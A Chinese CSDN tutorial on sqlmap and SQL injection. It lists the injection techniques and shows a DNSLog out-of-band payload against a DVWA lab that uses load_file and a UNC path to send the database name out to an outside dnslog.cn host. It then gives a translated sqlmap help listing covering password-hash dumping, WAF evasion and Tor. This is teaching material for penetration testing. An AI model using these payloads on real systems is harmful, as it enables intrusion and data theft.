渗透测试 ( 6 ) --- SQL 注入神器 sqlmap

本文详细介绍了渗透测试工具sqlmap的使用,包括sqlmap的注入技术、命令帮助、支持的注入方式、DNSLog注入以及针对不同数据库的手工注入方法。通过sqlmap,可以自动化检测和利用SQL注入漏洞,实现数据读取、系统命令执行等功能,并提供了多种规避WAF的方法。
摘要由CSDN通过智能技术生成

sqlmap 官网:http://sqlmap.org/
sqlmap文档地址:https://github.com/sqlmapproject/sqlmap/wiki/Usage
sqlmap 使用 思维导图:http://download.csdn.net/detail/freeking101/9887831

黑帽与白帽都喜爱的十大SQL注入工具:http://www.aqniu.com/industry/1449.html
国内外 SQL 神器 :http://blog.csdn.net/heimian/article/details/7080822

前面闭合;要执行的sql;后面闭合
sql 注释的三种方式

  • --空格
  • --+
  • #

1、sqlmap 简介

SQL 注入

SQL注入就是通过把 SQL 命令插入到 Web表单提交输入域名页面URL请求查询的字符串,最终达到欺骗服务器执行恶意的 SQL命令,假如管理员没有对 id 参数进行过滤那么黑客可以通过数据传输点将恶意的SQL语句带入查询。

sqlmap

sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。目前支持的数据库有 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access 等几乎所有数据库。

sqlmap 支持的注入方式

sqlmap 全面支持 6 种 SQL注入技术:

  • 基于布尔类型的盲注:根据返回页面,判断条件真假的注入。适用场景:没有数据回显,条件正确时有结果,条件错误时没有结果。利用方法:构造判断条件,逐个猜测(盲猜) ( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=45: )
  • 基于时间的盲注:当不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行( 即页面返回时间是否增加 )来判断。( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=46: )
  • 基于报错注入:页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。主要是利用 sql 语法错误,返回错误信息,错误信息中包含敏感信息。( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=47 )
  • 联合查询注入:在可以使用 Union 的情况下的注入。
  • 堆查询注入:可以同时执行多条语句时的注入。
  • 带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

DNSLog 注入

原理:

根据 dnslog 原理,既然 dns 请求可以,那么 http 请求也可以。

https://blog.csdn.net/weixin_47559704/article/details/122473265

在 sql 注入时,布尔盲注、时间盲注,注入的效率低且线程高容易被 waf 拦截,又或者是目标站点没有回显,在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到DNSlog 注入。首先需要有一个可以配置的域名,比如:xxx.io,然后通过代理商设置域名 xxx.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 xxx.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。

DNS 在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

UNC ( Universal Naming Convention ) 通用命名规则

格式:\servername\sharename,其中 servername 是服务器名。sharename是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
其实平常在 Widnows中用共享文件的时候就会用到这种网络地址的形式:\sss.xxx\test 。

这也就解释了为什么 CONCAT() 函数拼接了4个 \ ,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径。
例如:http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select load_file(concat('\\\\',(select database()),'.vlfrr9.dnslog.cn\\abc')))--+&Submit=Submit#

这里concat函数拼接了4个\最后变成2个\

子域名 网址 推荐

:http://www.dnslog.cn
:http://admin.dnslog.link
可以发起 http 请求,需要注册:http://ceye.io

sql 注入利用

通过 DNSlog 盲注需要用的 load_file() 函数,所以一般得是 root 权限。show variables like ‘%secure%’; 查看 load_file() 可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
如果为Null解决如下:
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。

show variables like '%secure%';

通过设置 my.ini 来配置。secure_file_priv="" 就是可以 load_flie 任意磁盘的文件。

以管理员身份打开 cmd 重启后
net stop mysql
net start mysql

http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1' and (select load_file(concat('\\\\',(select database()),'.fl1ka5.dnslog.cn\\abc')))--+&Submit=Submit#

这里使用的是http://www.dnslog.cn/
点击Get SubDomain,将获取的dnslog替换掉,执行以后点击Refresh Record,这样就查询到了我们所需要的数据库名称。表名,字段名亦是如此。

dnslogsql 注入工具:https://github.com/search?q=dnslog

2、sqlmap 命令帮助

sqlmap 官网:http://sqlmap.org/ Sqlmap 的安装需要Python环境,最新版可以运行在 Python 2.6, 2.7 和 3.x 版本的任何平台上。下载完成后可以添加进环境变量,方便使用(不添加也可以用)

sqlmap 参数的 2 种写法:

  • sqlmap.py -u "url" --tamper "xxx.py"
  • sqlmap.py -u "url" --tamper="xxx.py"

sqlmap -hh

选项:
    -h, --help  基本帮助信息
    -hh         高级帮助信息
    --version   版本号
    -v VERBOSE  详细级别:0-6(默认为 1)

    目标:( 即 http 请求的 url。下面几个参数至少要有一个 )    
        -u URL,--url=URL 目标 URL ( 例如 http://www.site.com/vuln.php?id=1 )
        -d DIRECT         直接连接数据库的连接字符串
        -l LOGFILE        从 Burp 或 WebScarab 代理日志文件中解析目标
        -m BULKFILE       扫描文本文件中给定的多个目标
        -r REQUESTFILE    从文件加载 HTTP 请求
        -g GOOGLEDORK     将 Google dork 结果作为目标 URL 处理
        -c CONFIGFILE     从配置 INI 文件加载选项

    http 请求的相关设置:( 指定如何连接到目标 URL )
        -A AGENT, --user..   HTTP User-Agent 标头值
        -H HEADER, --hea..   额外的标题(例如“X-Forwarded-For: 127.0.0.1”)
        --method=METHOD      强制使用给定的 HTTP 方法(例如 PUT)
        --data=DATA          通过 POST 发送的数据字符串(例如 id=1)
        --param-del=PARA..   用于分割参数值的字符(例如 &)
        --cookie=COOKIE      Cookie 标头值(例如“PHPSESSID=a8d127e..”)
        --cookie-del=COO..   用于分割 cookie 值的字符(例如 ;)
        --live-cookies=L..   用于加载最新值的实时 cookie 文件
        --load-cookies=L..   包含 Netscape/wget 格式的 cookie 的文件
        --drop-set-cookie    忽略响应中的 Set-Cookie 标头
        --mobile             通过 HTTP User-Agent header 模仿智能手机
        --random-agent       构造随机 user-agent
        --host=HOST          HTTP 主机标头值
        --referer=REFERER    HTTP 引用头值
        --headers=HEADERS    额外的标题(例如“Accept-Language: fr\nETag: 123”)
        --auth-type=AUTH..   HTTP 认证类型(Basic、Digest、Bearer、...)
        --auth-cred=AUTH..   HTTP 身份验证凭据(名称:密码)
        --auth-file=AUTH..   HTTP 认证 PEM 证书/私钥文件
        --ignore-code=IG..   忽略(有问题的)HTTP 错误代码(例如 401)
        --ignore-proxy       忽略系统默认代理设置
        --ignore-redirects   忽略重定向尝试
        --ignore-timeouts    忽略连接超时
        --proxy=PROXY        使用代理连接到目标 URL。示例:--proxy=http://local:8080
        --proxy-cred=PRO..   代理身份验证凭据(名称:密码)
        --proxy-file=PRO..   从文件加载代理列表
        --proxy-freq=PRO..   从给定列表更改代理之间的请求
        --tor                使用 Tor 匿名网络
        --tor-port=TORPORT   设置 Tor 代理端口不是默认端口
        --tor-type=TORTYPE   设置 Tor 代理类型(HTTP、SOCKS4 或 SOCKS5(默认))
        --check-tor          检查 Tor 是否正确使用
        --delay=DELAY        每个 HTTP 请求之间的延迟秒数
        --timeout=TIMEOUT    连接超时前等待的秒数(默认 30)
        --retries=RETRIES    连接超时重试(默认3)
        --retry-on=RETRYON   对正则表达式匹配内容的重试请求(例如“drop”)
        --randomize=RPARAM   随机更改给定参数的值
        --safe-url=SAFEURL   测试时经常访问的URL地址
                            有的 web 程序会在多次错误访问后屏蔽所有请求,
                            这样就导致之后所有的测试无法进行,
                            使用 --safe-url,每隔一段时间去访问一个正常的页面。
        --safe-post=SAFE..   POST 数据发送到一个安全的 URL
        --safe-req=SAFER..   从文件加载安全的 HTTP 请求
        --safe-freq=SAFE..   访问安全 URL 之间的定期请求
        --skip-urlencode     跳过有效载荷数据的 URL 编码
        --csrf-token=CSR..   用于保存anti-CSRF令牌的参数
        --csrf-url=CSRFURL   提取反 CSRF 令牌要访问的 URL 地址
        --csrf-method=CS..   在反 CSRF 令牌页面访问期间使用的 HTTP 方法
        --csrf-retries=C..   重试反 CSRF 令牌检索(默认 0)
        --force-ssl          强制使用 SSL/HTTPS
        --chunked            使用 HTTP 分块传输编码 (POST) 请求
        --hpp                使用 HTTP 参数污染方式
                             HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,
                             这个对ASP/IIS与ASP.NET/IIS平台很有效。
        --eval=EVALCODE      在请求之前评估提供的 Python 代码
		                    (例如"导入 hashlib;id2=hashlib.md5(id).hexdigest()")
    优化:( 用来优化 sqlmap 的性能 )        	   
        -o                 打开所有优化开关
        --predict-output   预测常见查询输出
        --keep-alive       使用持久的 HTTP(s) 连接。即保持连接
        --null-connection  在没有实际 HTTP 响应正文的情况下检索页面长度
        --threads=THREADS  最大并发 HTTP(s) 请求数(默认 1)

    注入:( 用于指定要测试的参数,提供自定义注入payload和可选的篡改脚本 )        
        -p TESTPARAMETER      要测试的参数
        --skip=SKIP           测试时跳过的参数
                              当使用的 --level 值很大,但有个别参数不想测试时可以使用
        --skip-static         跳过看起来不是动态的测试参数。
        --param-exclude=..    使用正则排除要测试的参数(例如“ses”)
        --param-filter=P..    按位置选择可测试的参数(例如“POST”)
        --dbms=DDBMS          指定数据库类型。示例:--dbms=mysql
        --dbms-cred=DBMS..    DBMS 身份验证凭据(用户:密码)
        --os=OS               强制后端 DBMS 操作系统为提供的值
        --invalid-bignum      使用大数字使值无效
        --invalid-logical     使用逻辑运算使值无效
        --invalid-string      使用随机字符串使值无效
        --no-cast             关闭有效载荷投射机制
        --no-escape           关闭字符串转义机制
        --prefix=PREFIX       注入负载 的 前缀字符串
        --suffix=SUFFIX       注入载荷 的 后缀字符串
        --tamper=TAMPER       使用给定的脚本来篡改注入数据

    检测:( 用于自定义检测阶段 )        	   
        --level=LEVEL      要执行的测试级别(1-5,默认 1)
        --risk=RISK        执行测试的风险(1-3,默认1)
        --string=STRING    查询评估为 True 时匹配的字符串
        --not-string=NOT.. 查询评估为 False 时匹配的字符串
        --regexp=REGEXP    查询评估为 True 时匹配的正则表达式
        --code=CODE        查询评估为 True 时匹配的 HTTP 代码
        --smart            仅在积极的启发式方法时执行彻底的测试,启发式判断注入
                 有时对目标非常多的URL进行测试,为节省时间只对能够快速判断为注入的报错点进行注入
        --text-only        仅根据文本内容比较页面
        --titles           仅根据标题比较页面

    注入使用的技术:( 用于调整特定 SQL 注入的测试技术 )        	    
        --technique=TECH..    要使用的 SQL 注入技术(默认“BEUSTQ”)
        --time-sec=TIMESEC    延迟 DBMS 响应的秒数(默认 5)。设定延迟注入的时间
        --union-cols=UCOLS    用于测试 UNION 查询 SQL 注入的列范围。
                              默认情况下 sqlmap 测试 UNION 查询注入会测试1-10个字段数,
                              当--level为5的时候他会增加测试到50个字段数。
                              --union-cols 值是一段整数,如:12-16,是测试12-16个字段数
        --union-char=UCHAR    用于强制列数的字符
                              设定UNION查询使用的字符。参数:--union-char  
                              默认情况下sqlmap针对UNION查询的注入会使用NULL字符,
                              但是有些情况下会造成页面返回失败,而一个随机整数是成功的,
                              这时你可以用--union-char只定UNION查询的字符。
        --union-from=UFROM    表在 UNION 查询 SQL 注入的 FROM 部分中使用
        --dns-domain=DNS..    用于 DNS 渗透攻击的域名
        --second-url=SEC..    搜索二阶响应的结果页面 URL
        --second-req=SEC..    从文件加载二阶 HTTP 请求

    指纹:
        -f, --fingerprint 执行广泛的 DBMS 版本指纹

    枚举:( 用于枚举后端数据库管理系统信息、结构和数据包含在表 )        	    
        -a, --all       检索所有内容
        -b, --banner    检索 DBMS 横幅
        --current-user  检索 DBMS 当前用户
        --current-db    检索 DBMS 当前数据库
        --hostname      检索 DBMS 服务器主机名
        --is-dba        检测 DBMS 当前用户是否为 DBA
        --users         枚举 DBMS 用户
        --passwords     枚举 DBMS 用户密码哈希
        --privileges    枚举 DBMS 用户权限
        --roles         枚举 DBMS 用户角色
        --dbs           枚举 DBMS 数据库
        --tables        枚举 DBMS 数据库表
        --columns       枚举 DBMS 数据库表列
        --schema        枚举 DBMS 模式
        --count         检索表的条目数
        --dump          转储 DBMS 数据库表条目
        --dump-all      转储所有 DBMS 数据库表条目
        --search        搜索列、表和/或数据库名称
        --comments      在枚举期间检查 DBMS 注释
        --statements    检索在 DBMS 上运行的 SQL 语句
        -D DB           DBMS 数据库枚举
        -T TBL          DBMS 数据库表枚举
        -C COL          DBMS 数据库表列枚举
        -X EXCLUDE      DBMS 数据库标识符不枚举
        -U USER         DBMS 用户枚举
        --exclude-sysdbs      枚举表时排除 DBMS 系统数据库
        --pivot-column=P..    透视列名
        --where=DUMPWHERE     在表转储时使用 WHERE 条件
        --start=LIMITSTART    要检索的第一个转储表条目
        --stop=LIMITSTOP      要检索的最后一个转储表条目
        --first=FIRSTCHAR     要检索的第一个查询输出单词字符
        --last=LASTCHAR       最后查询输出要检索的单词字符
        --sql-query=SQLQ..    要执行的SQL语句
        --sql-shell           提示交互式 SQL shell
        --sql-file=SQLFILE    从给定文件执行 SQL 语句

    爆 破:( 用于运行蛮力检查 )	    
        --common-tables     检查公用表是否存在
        --common-columns    检查公共列是否存在
        --common-files      检查公共文件是否存在
    
    用户自定义函数注入:( 用于创建自定义的用户定义函数 )         
        --udf-inject          注入用户定义的函数
        --shared-lib=SHLIB    共享库的本地路径
    
    文件系统访问:( 用于访问后端数据库管理系统底层文件系统 )    
        --file-read=FILE..    从后端 DBMS 文件系统读取文件
        --file-write=FIL..    往后端 DBMS 文件系统上写入本地文件
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值